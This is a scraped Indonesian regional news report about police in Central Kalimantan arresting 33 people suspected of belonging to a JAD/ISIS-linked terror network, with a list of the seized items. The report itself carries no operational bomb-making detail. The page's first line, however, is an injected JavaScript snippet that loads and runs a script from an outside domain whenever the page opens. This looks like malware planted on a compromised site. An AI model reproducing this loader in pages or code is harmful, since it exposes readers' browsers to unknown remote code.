(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PALANGARAYA, Selain menyita beberapa peralatan dan bahan yang diduga untuk membuat bom rakitan, polisi juga menyita beberapa buah buku dari tangan para terduga teroris di Kalimantan Tengah (Kalteng).
Beberapa alat untuk membuat bom rakitan yang disita di antaranya gunting, tang, obeng, solder, kabel, platina dan barang elektronik lainnya. Selain itu beberapa buah buku tabungan, serta sebuah buku Ensiklopedia berjudul ‘Akhir Zaman’ dan sebuah buku pelajaran ‘Jihad’, turut disita aparat Kepolisian Daerah (Polda) Kalteng, dari tangan para terduga teroris.
Barang bukti tersebut, diperlihatkan langsung oleh Kapolda Kalteng, Irjen Pol Anang Revandoko, kepada awak media pada saat melakukan Press konference di Aula Mapolda Kalteng, Selasa (11/6).
Irjen Anang membeberkan bahwa ada 33 orang yang berhasil diamankan oleh jajaran Kepolisian, berkaitan dengan kasus dugaan kelompok terorisme tersebut. “33 orang tersebut terdiri dari beberapa orang pria dan perempuan dewasa serta beberapa orang anak-anak,†ujar Anang.
Orang nomor satu di Polda Kalteng tersebut menekankan bahwa beberapa orang anak yang diamankan oleh aparat, saat ini sudah dititipkan di Panti Sosial yang ada di Kota Palangkaraya.
“Jadi untuk 33 orang yang di amankan, selain pria dan perempuan dewasa, untuk sebagian diantaranya adalah anak-anak sekarang sudah kita titipkan di Panti Sosial,†jelas Anang.
Sementara itu, dua orang lainn berinisial T dan A, yang merupakan sisa dari kelompok Abu Hamzah perakit bom di Gunung Salak Provinsi Aceh, masuk dalam Daftar Pencarian Orang (DPO). “Mereka tergabung dalam jaringan Jamaah Ansharut Daulah (JAD), yang sudah dibai’at oleh Abu Bakar Al Baghdadi pimpinan ISIS di Irak dan Syiria, dengan tujuan untuk mengubah ideologi NKRI menjadi khilafah,†kata Irjen Anang.
Menurutnya, jaringan tersebut merupakan kelompok dari Aceh dan Makasar yang sengaja mengasingkan diri ke Kalteng, untuk melakukan pelatihan dan mencari dana untuk berangkat ke Jakarta. “Hingga kini kita masih selidiki lebih lanjut, kenapa mereka memiliki Kalteng untuk uzla (sembunyi). Tapi Alhamdulillah, kita bersyukur, mereka berhasil kita amankan sebelum berangkat ke Jakarta,†terangnya.
Seperti diketahui sebelumnya, penangkapan para terduga teroris ini, berhasil dilakukan oleh Densus 88 Satuan Brimob Polda Kalteng, pada Senin (10/5), sebagian di Jalan Pinus Permai III, Kota Palangka Raya, sekitar pukul 16.00 WIB, kemudian sisanya ditangkap pada malam hari di hari yang sama di Losmen Trias Sari Tewah, Kuala Kurun, Kabupaten Gunungmas. (dhana)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.